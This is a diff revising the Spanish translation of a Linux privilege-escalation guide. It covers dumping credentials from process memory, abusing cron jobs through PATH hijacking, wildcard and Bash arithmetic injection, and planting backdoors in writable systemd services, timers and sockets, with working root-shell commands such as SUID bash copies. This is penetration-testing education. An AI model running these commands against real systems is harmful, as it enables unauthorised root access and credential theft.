(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```
### Software vulnerable instalado
-Comprueba la **versión de los paquetes y servicios instalados**. Puede que haya alguna versión antigua de Nagios (por ejemplo) que pueda explotarse para escalar privilegios…\
-Se recomienda comprobar manualmente la versión del software instalado que parezca más sospechoso.
+Comprueba la **versión de los paquetes y servicios instalados**. Puede que haya alguna versión antigua de Nagios (por ejemplo) que podría ser explotada para escalating privileges…\
+Se recomienda comprobar manualmente la versión del software instalado más sospechoso.
```bash
dpkg -l #Debian
rpm -qa #Centos
```
-Si tienes acceso SSH a la máquina, también podrías usar **openVAS** para comprobar si el software instalado en la máquina está desactualizado o es vulnerable.
+Si tienes acceso SSH a la máquina, también podrías usar **openVAS** para comprobar si hay software desactualizado y vulnerable instalado en la máquina.
-> [!NOTE] > _Ten en cuenta que estos comandos mostrarán mucha información que en su mayoría será inútil, por eso se recomiendan aplicaciones como OpenVAS u otras similares que comprueben si alguna versión del software instalada es vulnerable a exploits conocidos_
+> [!NOTE] > _Ten en cuenta que estos comandos mostrarán mucha información que en su mayoría será inútil, por lo tanto se recomiendan aplicaciones como OpenVAS o similares que verifiquen si alguna versión de software instalada es vulnerable a exploits conocidos_
## Procesos
-Observa **qué procesos** se están ejecutando y comprueba si algún proceso tiene **más privilegios de los que debería** (¿quizá un tomcat ejecutándose como root?)
+Revisa **qué procesos** se están ejecutando y comprueba si algún proceso tiene **más privilegios de los que debería** (¿quizás un tomcat ejecutándose como root?)
```bash
ps aux
ps -ef
top -n 1
```
-Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\
-También **check your privileges over the processes binaries**, maybe you can overwrite someone.
+Siempre comprueba si hay [**electron/cef/chromium debuggers** en ejecución; podrías abusar de ellos para escalar privilegios](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta esos casos comprobando el parámetro `--inspect` dentro de la línea de comandos del proceso.\
+También **comprueba tus privilegios sobre los binarios de los procesos**, quizás puedas sobrescribir alguno.
### Monitorización de procesos
-Puedes usar herramientas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorizar procesos. Esto puede ser muy útil para identificar procesos vulnerables que se ejecutan con frecuencia o cuando se cumplen un conjunto de requisitos.
+Puedes usar herramientas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorizar procesos. Esto puede ser muy útil para identificar procesos vulnerables que se ejecutan con frecuencia o cuando se cumplen una serie de requisitos.
### Memoria de procesos
-Algunos servicios de un servidor guardan **credentials in clear text inside the memory**.\
-Normalmente necesitarás **root privileges** para leer la memoria de procesos que pertenecen a otros usuarios, por lo que esto suele ser más útil cuando ya eres root y quieres descubrir más credentials.\
+Algunos servicios de un servidor guardan **credenciales en texto claro dentro de la memoria**.\
+Normalmente necesitarás **privilegios root** para leer la memoria de procesos que pertenecen a otros usuarios; por lo tanto, esto suele ser más útil cuando ya eres root y quieres descubrir más credenciales.\
Sin embargo, recuerda que **como usuario normal puedes leer la memoria de los procesos que posees**.
> [!WARNING]
-> Ten en cuenta que hoy en día la mayoría de las máquinas **no permiten ptrace por defecto**, lo que significa que no puedes volcar otros procesos que pertenezcan a tu usuario no privilegiado.
+> Ten en cuenta que hoy en día la mayoría de las máquinas **no permiten ptrace por defecto**, lo que significa que no puedes volcar otros procesos que pertenezcan a tu usuario sin privilegios.
>
> El archivo _**/proc/sys/kernel/yama/ptrace_scope**_ controla la accesibilidad de ptrace:
>
-> - **kernel.yama.ptrace_scope = 0**: todos los procesos pueden ser depurados, siempre que tengan el mismo uid. Esta es la forma clásica en la que funcionaba el ptracing.
+> - **kernel.yama.ptrace_scope = 0**: todos los procesos pueden ser depurados, siempre que tengan el mismo uid. Esta es la forma clásica en la que funcionaba ptrace.
> - **kernel.yama.ptrace_scope = 1**: solo un proceso padre puede ser depurado.
-> - **kernel.yama.ptrace_scope = 2**: solo admin puede usar ptrace, ya que requiere la capability CAP_SYS_PTRACE.
-> - **kernel.yama.ptrace_scope = 3**: no se puede trazar ningún proceso con ptrace. Una vez establecido, es necesario reiniciar para habilitar ptracing de nuevo.
+> - **kernel.yama.ptrace_scope = 2**: solo el administrador puede usar ptrace, ya que requiere la capability CAP_SYS_PTRACE.
+> - **kernel.yama.ptrace_scope = 3**: ningún proceso puede ser trazado con ptrace. Una vez establecido, se requiere un reinicio para habilitar ptrace de nuevo.
#### GDB
-Si tienes acceso a la memoria de un servicio FTP (por ejemplo) podrías obtener el Heap y buscar dentro de sus credentials.
+Si tienes acceso a la memoria de un servicio FTP (por ejemplo) podrías obtener el Heap y buscar en su interior las credenciales.
```bash
gdb -p
(gdb) info proc mappings
@@ -203,7 +203,7 @@ gdb -p
(gdb) q
strings /tmp/mem_ftp #User and password
```
-#### GDB Script
+#### Script de GDB
```bash:dump-memory.sh
#!/bin/bash
#./dump-memory.sh
@@ -216,7 +216,7 @@ done
```
#### /proc/$pid/maps & /proc/$pid/mem
-Para un ID de proceso dado, el archivo **maps muestra cómo se mapea la memoria dentro del** espacio de direcciones virtual del proceso; también muestra los **permisos de cada región mapeada**. El pseudo archivo **mem** **expone la propia memoria del proceso**. A partir del archivo **maps** sabemos qué **regiones de memoria son legibles** y sus offsets. Usamos esta información para **seek en el archivo mem y dump todas las regiones legibles** a un archivo.
+Para un ID de proceso dado, **maps muestran cómo se asigna la memoria dentro del espacio de direcciones virtual de ese proceso**; también muestra las **permisiones de cada región mapeada**. El pseudo archivo **mem** **expone la memoria del proceso en sí**. A partir del archivo **maps** sabemos qué **regiones de memoria son legibles** y sus desplazamientos. Usamos esta información para **posicionarnos en el archivo mem y volcar todas las regiones legibles** a un archivo.
```bash
procdump()
(
@@ -231,14 +231,14 @@ rm $1*.bin
```
#### /dev/mem
-`/dev/mem` proporciona acceso a la memoria **física** del sistema, no a la memoria virtual. El espacio de direcciones virtuales del kernel puede ser accedido usando /dev/kmem.\
-Típicamente, `/dev/mem` solo puede ser leído por **root** y el grupo **kmem**.
+`/dev/mem` proporciona acceso a la memoria **física** del sistema, no a la memoria virtual. El espacio de direcciones virtuales del kernel puede accederse usando /dev/kmem.\
+Normalmente, `/dev/mem` solo es legible por **root** y el grupo **kmem**.
```
strings /dev/mem -n10 | grep -i PASS
```
### ProcDump for linux
-ProcDump es una reinterpretación para Linux de la clásica herramienta ProcDump de la suite Sysinternals para Windows. Consíguelo en [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
+ProcDump es una reimaginación para Linux de la clásica herramienta ProcDump de la suite Sysinternals para Windows. Consíguelo en [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
```
procdump -p 1714
@@ -270,10 +270,10 @@ Press Ctrl-C to end monitoring without terminating the process.
Para dump la memoria de un proceso puedes usar:
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
-- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puedes eliminar manualmente los requisitos de root y dump el proceso que te pertenece
-- Script A.5 de [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (se requiere root)
+- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puedes eliminar manualmente los requisitos de root y dump el proceso que es tuyo
+- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (se requiere root)
-### Credenciales desde la memoria del proceso
+### Credenciales en la memoria del proceso
#### Ejemplo manual
@@ -282,25 +282,25 @@ Si encuentras que el proceso authenticator está en ejecución:
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
```
-Puedes volcar el proceso (ver las secciones anteriores para encontrar diferentes maneras de volcar la memoria de un proceso) y buscar credenciales dentro de la memoria:
+Puedes volcar el proceso (consulta las secciones anteriores para encontrar diferentes formas de volcar la memoria de un proceso) y buscar credenciales dentro de la memoria:
```bash
./dump-memory.sh 2027
strings *.dump | grep -i password
```
#### mimipenguin
-La herramienta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) robará clear text credentials de la memoria y de algunos archivos bien conocidos. Requiere privilegios de root para funcionar correctamente.
+La herramienta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) va a **steal clear text credentials from memory** y de algunos **well known files**. Requiere root privileges para funcionar correctamente.
| Funcionalidad | Nombre del proceso |
| ------------------------------------------------- | -------------------- |
-| Contraseña de GDM (Kali Desktop, Debian Desktop) | gdm-password |
+| GDM password (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Active FTP Connections) | vsftpd |
| Apache2 (Active HTTP Basic Auth Sessions) | apache2 |
| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: |
-#### Regexes de búsqueda/[truffleproc](https://github.com/controlplaneio/truffleproc)
+#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash
# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
@@ -314,23 +314,23 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
```
-## Tareas programadas / Cron jobs
+## Tareas programadas/Cron jobs
-### Crontab UI (alseambusher) ejecutándose como root – privesc en un scheduler basado en web
+### Crontab UI (alseambusher) ejecutándose como root – web-based scheduler privesc
-Si un panel web “Crontab UI” (alseambusher/crontab-ui) se ejecuta como root y sólo está ligado a loopback, aún puedes acceder a él vía SSH local port-forwarding y crear una tarea privilegiada para escalar.
+Si un panel web “Crontab UI” (alseambusher/crontab-ui) se ejecuta como root y está ligado solo al loopback, aún puedes alcanzarlo vía SSH local port-forwarding y crear una tarea privilegiada para escalar.
-Typical chain
-- Descubrir puerto sólo accesible desde loopback (p. ej., 127.0.0.1:8000) y Basic-Auth realm mediante `ss -ntlp` / `curl -v localhost:8000`
+Cadena típica
+- Descubrir puerto accesible solo en loopback (p. ej., 127.0.0.1:8000) y realm de Basic-Auth vía `ss -ntlp` / `curl -v localhost:8000`
- Encontrar credenciales en artefactos operativos:
- Copias de seguridad/scripts con `zip -P `
- - Unidad systemd exponiendo `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."`
-- Crear túnel y login:
+ - unidad systemd que expone `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."`
+- Crear túnel y autenticarse:
```bash
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
```
-- Crear un job de alto privilegio y ejecutarlo inmediatamente (deja caer un SUID shell):
+- Crear un high-priv job y ejecutarlo inmediatamente (drops SUID shell):
```bash
# Name: escalate
# Command:
@@ -342,26 +342,24 @@ cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
```
Endurecimiento
- No ejecutes Crontab UI como root; constríngelo a un usuario dedicado con permisos mínimos
-- Asócialo a localhost y además restringe el acceso vía firewall/VPN; no reutilices contraseñas
+- Vincúlalo a localhost y además restringe el acceso mediante firewall/VPN; no reutilices contraseñas
- Evita incrustar secretos en unit files; usa secret stores o un EnvironmentFile accesible solo por root
- Habilita audit/logging para ejecuciones de jobs on-demand
-
-
-Comprueba si alguna tarea programada es vulnerable. Quizá puedas aprovechar un script ejecutado por root (wildcard vuln? ¿puedes modificar archivos que root usa? ¿usar symlinks? ¿crear archivos específicos en el directorio que root usa?).
+Comprueba si algún scheduled job es vulnerable. Quizás puedas aprovechar un script ejecutado por root (wildcard vuln? ¿puedes modificar archivos que root usa? ¿usar symlinks? ¿crear archivos específicos en el directorio que usa root?).
```bash
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
```
-### Ruta de Cron
+### Cron path
-Por ejemplo, dentro de _/etc/crontab_ puedes encontrar el PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
+For example, inside _/etc/crontab_ you can find the PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
-(_Observa cómo el usuario "user" tiene privilegios de escritura sobre /home/user_)
+(_Fíjate cómo el usuario "user" tiene permisos de escritura sobre /home/user_)
-Si dentro de este crontab el usuario root intenta ejecutar algún comando o script sin establecer el PATH. Por ejemplo: _\* \* \* \* root overwrite.sh_\
-Entonces, puedes obtener un root shell usando:
+Si dentro de este crontab el usuario root intenta ejecutar algún comando o script sin establecer el PATH. For example: _\* \* \* \* root overwrite.sh_\
+Entonces, puedes obtener una root shell usando:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
@@ -369,13 +367,13 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
```
### Cron usando un script con un wildcard (Wildcard Injection)
-Si un script que se ejecuta como root tiene un “**\***” dentro de un comando, podrías explotarlo para provocar comportamientos inesperados (como privesc). Ejemplo:
+Si un script que se ejecuta como root tiene un “**\***” dentro de un comando, podrías explotarlo para provocar cosas inesperadas (como privesc). Ejemplo:
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
**Si el wildcard está precedido por una ruta como** _**/some/path/\***_ **, no es vulnerable (incluso** _**./\***_ **no lo es).**
-Lee la siguiente página para más trucos de explotación de wildcard:
+Lee la siguiente página para más wildcard exploitation tricks:
{{#ref}}
@@ -385,11 +383,11 @@ wildcards-spare-tricks.md
### Bash arithmetic expansion injection in cron log parsers
-Bash realiza parameter expansion y command substitution antes de la arithmetic evaluation en ((...)), $((...)) y let. Si un cron/parser ejecutado como root lee campos de log no confiables y los introduce en un contexto aritmético, un atacante puede inyectar un command substitution $(...) que se ejecuta como root cuando corre el cron.
+Bash realiza parameter expansion y command substitution antes de la evaluación aritmética en ((...)), $((...)) y let. Si un cron/parser ejecutado como root lee campos de logs no confiables y los introduce en un contexto aritmético, un atacante puede inyectar un command substitution $(...) que se ejecuta como root cuando corre el cron.
-- Por qué funciona: En Bash, las expansiones ocurren en este orden: parameter/variable expansion, command substitution, arithmetic expansion, luego word splitting y pathname expansion. Así que un valor como `$(/bin/bash -c 'id > /tmp/pwn')0` se sustituye primero (ejecutando el comando), y luego el `0` numérico restante se usa para la aritmética de modo que el script continúa sin errores.
+- Por qué funciona: En Bash, las expansiones ocurren en este orden: parameter/variable expansion, command substitution, arithmetic expansion, luego word splitting y pathname expansion. Así, un valor como `$(/bin/bash -c 'id > /tmp/pwn')0` se sustituye primero (ejecutando el comando), y el `0` numérico restante se usa en la operación aritmética, por lo que el script continúa sin errores.
-- Patrón típico vulnerable:
+- Patrón vulnerable típico:
```bash
#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
@@ -399,14 +397,14 @@ while IFS=',' read -r ts user count rest; do
done < /var/www/app/log/application.log
```
-- Explotación: Haz que texto controlado por el atacante se escriba en el log parseado de modo que el campo que parece numérico contenga un command substitution y termine con un dígito. Asegúrate de que tu comando no imprima en stdout (o redirígelo) para que la aritmética siga siendo válida.
+- Explotación: Haz que texto controlado por el atacante se escriba en el log parseado de modo que el campo con aspecto numérico contenga un command substitution y termine con un dígito. Asegúrate de que tu comando no imprima en stdout (o redirígelo) para que la aritmética siga siendo válida.
```bash
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.
```
-### Sobrescritura de cron script y symlink
+### Cron script overwriting and symlink
Si **puedes modificar un cron script** ejecutado por root, puedes obtener una shell muy fácilmente:
```bash
@@ -414,23 +412,23 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >
#Wait until it is executed
/tmp/bash -p
```
-Si el script ejecutado por root usa un **directorio donde tienes acceso total**, quizá sea útil eliminar esa carpeta y **crear una carpeta symlink hacia otra** que sirva un script controlado por ti
+Si el script ejecutado por root usa un **directorio donde tienes acceso completo**, quizá sea útil eliminar esa carpeta y **crear un symlink hacia otra carpeta** que sirva un script controlado por ti
```bash
ln -d -s
```
### Cron jobs frecuentes
-Puedes monitorizar los procesos para buscar aquellos que se ejecutan cada 1, 2 o 5 minutos. Quizás puedas aprovecharlo para escalate privileges.
+Puedes monitorizar los procesos para buscar aquellos que se estén ejecutando cada 1, 2 o 5 minutos. Quizá puedas aprovecharlo y escalate privileges.
-Por ejemplo, para **monitorizar cada 0.1s durante 1 minuto**, **ordenar por los comandos menos ejecutados** y eliminar los comandos que se han ejecutado más, puedes hacer:
+Por ejemplo, para **monitorizar cada 0.1s durante 1 minuto**, **ordenar por los comandos menos ejecutados** y borrar los comandos que se hayan ejecutado más, puedes hacer:
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
-**También puedes usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (esto monitorizará y listará cada proceso que se inicie).
+**También puedes usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (esto monitorizará y listará cada proceso que se inicia).
### Cron jobs invisibles
-Es posible crear un cronjob **colocando un carriage return después de un comentario** (sin el carácter de nueva línea), y el cronjob funcionará. Ejemplo (fíjate en el carácter carriage return):
+Es posible crear un cronjob **poniendo un retorno de carro después de un comentario** (sin carácter de nueva línea), y el cron job funcionará. Ejemplo (nota el carácter de retorno de carro):
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
@@ -438,53 +436,53 @@ Es posible crear un cronjob **colocando un carriage return después de un coment
### Archivos _.service_ escribibles
-Comprueba si puedes escribir cualquier archivo `.service`; si puedes, **podrías modificarlo** para que **ejecute** tu **backdoor cuando** el servicio sea **iniciado**, **reiniciado** o **detenido** (quizá necesites esperar hasta que la máquina se reinicie).\
-Por ejemplo, crea tu backdoor dentro del archivo .service con **`ExecStart=/tmp/script.sh`**
+Comprueba si puedes escribir cualquier archivo `.service`, si puedes, **podrías modificarlo** para que **ejecute** tu **backdoor cuando** el servicio sea **iniciado**, **reiniciado** o **detenido** (quizá necesites esperar hasta que la máquina se reinicie).\
+Por ejemplo crea tu backdoor dentro del archivo .service con **`ExecStart=/tmp/script.sh`**
### Binarios de servicio escribibles
-Ten en cuenta que si tienes **permisos de escritura sobre binarios ejecutados por servicios**, puedes cambiarlos por backdoors para que cuando los servicios se vuelvan a ejecutar los backdoors se ejecuten.
+Ten en cuenta que si tienes **permisos de escritura sobre binarios ejecutados por servicios**, puedes modificarlos por backdoors de modo que cuando los servicios se vuelvan a ejecutar, los backdoors se ejecuten.
### systemd PATH - Rutas relativas
-Puedes ver el PATH usado por **systemd** con:
+Puedes ver el PATH que usa **systemd** con:
```bash
systemctl show-environment
```
-Si descubres que puedes **write** en cualquiera de las carpetas de la ruta, es posible que puedas **escalate privileges**. Debes buscar **rutas relativas usadas en archivos de configuración de servicios** como:
+Si encuentras que puedes **escribir** en cualquiera de las carpetas de la ruta, puede que puedas **escalate privileges**. Debes buscar **rutas relativas usadas en archivos de configuración de servicios** como:
```bash
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
-Luego, crea un **executable** con el **same name as the relative path binary** dentro de la systemd PATH folder que puedas escribir, y cuando se le pida al service ejecutar la acción vulnerable (**Start**, **Stop**, **Reload**), tu **backdoor será ejecutado** (los usuarios no privilegiados normalmente no pueden start/stop services, pero comprueba si puedes usar `sudo -l`).
+Then, create an **executable** with the **same name as the relative path binary** inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (**Start**, **Stop**, **Reload**), your **backdoor will be executed** (unprivileged users usually cannot start/stop services but check if you can use `sudo -l`).
**Learn more about services with `man systemd.service`.**
## **Timers**
-**Timers** son archivos de unidad de systemd cuyo nombre termina en `**.timer**` que controlan archivos o eventos `**.service**`. **Timers** pueden usarse como alternativa a cron ya que tienen soporte integrado para eventos de tiempo de calendario y eventos de tiempo monotónico y pueden ejecutarse de forma asíncrona.
+Los **Timers** son systemd unit files cuyo nombre termina en `**.timer**` que controlan archivos o eventos `**.service**`. Los **Timers** pueden usarse como alternativa a cron, ya que incorporan soporte nativo para eventos de calendario y eventos de tiempo monotónico, y pueden ejecutarse de forma asíncrona.
-Puedes enumerar todos los Timers con:
+Puedes enumerar todos los timers con:
```bash
systemctl list-timers --all
```
-### Timers escribibles
+### Temporizadores modificables
-Si puedes modificar un timer, puedes hacer que ejecute algunas unidades existentes de systemd.unit (como un `.service` o un `.target`)
+Si puedes modificar un timer, puedes hacer que ejecute algunas unidades existentes de systemd (como un `.service` o un `.target`)
```bash
Unit=backdoor.service
```
En la documentación puedes leer qué es la unidad:
-> La unidad que se activa cuando este timer expira. El argumento es un nombre de unidad, cuyo sufijo no es ".timer". Si no se especifica, este valor por defecto apunta a un servicio que tiene el mismo nombre que la unidad timer, excepto por el sufijo. (Ver más arriba.) Se recomienda que el nombre de la unidad que se activa y el nombre de la unidad del timer se nombren idénticamente, salvo por el sufijo.
+> La unidad que se activará cuando este timer expire. El argumento es un nombre de unidad, cuyo sufijo no es ".timer". Si no se especifica, este valor por defecto apunta a un service que tiene el mismo nombre que la unidad timer, salvo por el sufijo. (See above.) Se recomienda que el nombre de la unidad que se activa y el nombre de la unidad timer se llamen idénticamente, salvo por el sufijo.
Por lo tanto, para abusar de este permiso necesitarías:
-- Encuentra alguna unidad systemd (como un `.service`) que esté **ejecutando un binario escribible**
-- Encuentra alguna unidad systemd que esté **ejecutando una ruta relativa** y tengas **privilegios de escritura** sobre el **systemd PATH** (para suplantar ese ejecutable)
+- Encontrar alguna unidad systemd (como una `.service`) que esté **ejecutando un binario escribible**
+- Encontrar alguna unidad systemd que esté **ejecutando una ruta relativa** y sobre la **systemd PATH** tengas **privilegios de escritura** (para suplantar ese ejecutable)
-**Aprende más sobre timers con `man systemd.timer`.**
+**Más información sobre timers en `man systemd.timer`.**
### **Habilitar Timer**
@@ -493,29 +491,30 @@ Para habilitar un timer necesitas privilegios root y ejecutar:
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
```
-Nota: el **temporizador** se **activa** creando un symlink hacia él en `/etc/systemd/system/.wants/.timer`
+Nota el **timer** se **activa** creando un symlink a él en `/etc/systemd/system/.wants/.timer`
## Sockets
-Unix Domain Sockets (UDS) permiten la **comunicación entre procesos** en la misma o en diferentes máquinas dentro de modelos cliente-servidor. Utilizan ficheros descriptor estándar de Unix para la comunicación entre equipos y se configuran mediante archivos `.socket`.
+Unix Domain Sockets (UDS) permiten la **comunicación entre procesos** en la misma máquina o en máquinas diferentes dentro de modelos cliente-servidor. Utilizan ficheros de descriptor Unix estándar para la comunicación entre equipos y se configuran mediante archivos `.socket`.
-Sockets pueden ser configurados usando archivos `.socket`.
+Sockets se pueden configurar usando archivos `.socket`.
-**Aprende más sobre sockets con `man systemd.socket`.** Dentro de este archivo se pueden configurar varios parámetros interesantes:
+**Learn more about sockets with `man systemd.socket`.** Dentro de este archivo, se pueden configurar varios parámetros interesantes:
-- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Estas opciones son diferentes pero en resumen se usan para **indicar dónde va a escuchar** el socket (la ruta del archivo de socket AF_UNIX, el IPv4/6 y/o número de puerto a escuchar, etc.).
-- `Accept`: Toma un argumento booleano. Si **true**, se **lanza una instancia del servicio por cada conexión entrante** y solo se le pasa el socket de la conexión. Si **false**, todos los sockets de escucha en sí **se pasan a la unidad de servicio iniciada**, y solo se lanza una unidad de servicio para todas las conexiones. Este valor se ignora para sockets datagram y FIFOs donde una sola unidad de servicio maneja incondicionalmente todo el tráfico entrante. **Por defecto es false**. Por razones de rendimiento, se recomienda escribir nuevos daemons de forma adecuada para `Accept=no`.
-- `ExecStartPre`, `ExecStartPost`: Toman una o más líneas de comando, que se **ejecutan antes** o **después** de que los **sockets**/FIFOs de escucha sean **creados** y ligados, respectivamente. El primer token de la línea de comando debe ser un nombre de archivo absoluto, seguido de los argumentos para el proceso.
-- `ExecStopPre`, `ExecStopPost`: Comandos adicionales que se **ejecutan antes** o **después** de que los **sockets**/FIFOs de escucha sean **cerrados** y eliminados, respectivamente.
-- `Service`: Especifica el nombre de la unidad de **service** **a activar** ante **tráfico entrante**. Esta opción solo está permitida para sockets con `Accept=no`. Por defecto apunta al service que tiene el mismo nombre que el socket (con el sufijo reemplazado). En la mayoría de los casos no debería ser necesario usar esta opción.
+- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Estas opciones son diferentes, pero en resumen se usan para **indicar dónde va a escuchar** el socket (la ruta del archivo de socket AF_UNIX, la dirección IPv4/6 y/o el número de puerto a escuchar, etc.)
+- `Accept`: Toma un argumento booleano. Si **true**, se **genera una instancia de servicio por cada conexión entrante** y solo se le pasa el socket de la conexión. Si **false**, todos los sockets de escucha se **pasan a la unidad de servicio iniciada**, y solo se genera una unidad de servicio para todas las conexiones. Este valor se ignora para datagram sockets y FIFOs donde una única unidad de servicio maneja incondicionalmente todo el tráfico entrante. **Por defecto es false**. Por razones de rendimiento, se recomienda escribir nuevos daemons solo de una manera adecuada para `Accept=no`.
+- `ExecStartPre`, `ExecStartPost`: Toman una o más líneas de comando, que se **ejecutan antes** o **después** de que los sockets/FIFOs de escucha sean **creados** y vinculados, respectivamente. El primer token de la línea de comandos debe ser un nombre de archivo absoluto, seguido de argumentos para el proceso.
+- `ExecStopPre`, `ExecStopPost`: Comandos adicionales que se **ejecutan antes** o **después** de que los sockets/FIFOs de escucha sean **cerrados** y eliminados, respectivamente.
+- `Service`: Especifica el nombre de la unidad **service** a **activar** por tráfico entrante. Esta opción solo está permitida para sockets con Accept=no. Por defecto toma el servicio que tiene el mismo nombre que el socket (con el sufijo reemplazado). En la mayoría de los casos no debería ser necesario usar esta opción.
-### Archivos `.socket` escribibles
+### Archivos .socket escribibles
-Si encuentras un archivo `.socket` **escribible** puedes **añadir** al inicio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y el backdoor se ejecutará antes de que el socket sea creado. Por lo tanto, **probablemente tendrás que esperar hasta que la máquina se reinicie.**\ _Ten en cuenta que el sistema debe estar usando esa configuración del archivo socket o el backdoor no se ejecutará_
+Si encuentras un archivo `.socket` **escribible**, puedes **añadir** al inicio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y el backdoor se ejecutará antes de que se cree el socket. Por lo tanto, **probablemente tendrás que esperar a que la máquina se reinicie.**\
+_Ten en cuenta que el sistema debe estar usando esa configuración del archivo socket o el backdoor no se ejecutará_
### Sockets escribibles
-Si **identificas algún socket escribible** (ahora nos referimos a Unix Sockets y no a los archivos de configuración `.socket`), entonces **puedes comunicarte** con ese socket y quizá usar un exploit contra una vulnerabilidad.
+Si **identificas algún socket escribible** (_ahora estamos hablando de Unix Sockets y no de los archivos de configuración `.socket`_), entonces **puedes comunicarte** con ese socket y quizá explotar una vulnerabilidad.
### Enumerar Unix Sockets
```bash
@@ -539,48 +538,48 @@ socket-command-injection.md
### HTTP sockets
-Ten en cuenta que puede haber algunos **sockets listening for HTTP** requests (_no me refiero a archivos .socket sino a los archivos que actúan como unix sockets_). Puedes comprobar esto con:
+Ten en cuenta que puede haber algunos **sockets escuchando peticiones HTTP** (_no me refiero a .socket files sino a los archivos que actúan como unix sockets_). Puedes comprobarlo con:
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
-Si el socket **responde a una petición HTTP**, entonces puedes **comunicarte** con él y quizás **exploit some vulnerability**.
+Si el socket **responde con una petición HTTP**, entonces puedes **comunicarte** con él y quizá **exploit some vulnerability**.
-### Docker Socket escribible
+### Docker socket escribible
-El socket de Docker, a menudo ubicado en `/var/run/docker.sock`, es un archivo crítico que debe estar asegurado. Por defecto, es escribible por el usuario `root` y los miembros del grupo `docker`. Poseer acceso de escritura a este socket puede conducir a privilege escalation. A continuación se muestra un desglose de cómo se puede hacer esto y métodos alternativos si el Docker CLI no está disponible.
+El Docker socket, a menudo ubicado en `/var/run/docker.sock`, es un archivo crítico que debe estar asegurado. Por defecto, es escribible por el usuario `root` y por los miembros del grupo `docker`. Poseer acceso de escritura a este socket puede conducir a privilege escalation. Aquí tienes un desglose de cómo puede llevarse a cabo esto y métodos alternativos si el Docker CLI no está disponible.
#### **Privilege Escalation with Docker CLI**
-Si tienes acceso de escritura al socket de Docker, puedes escalate privileges usando los siguientes comandos:
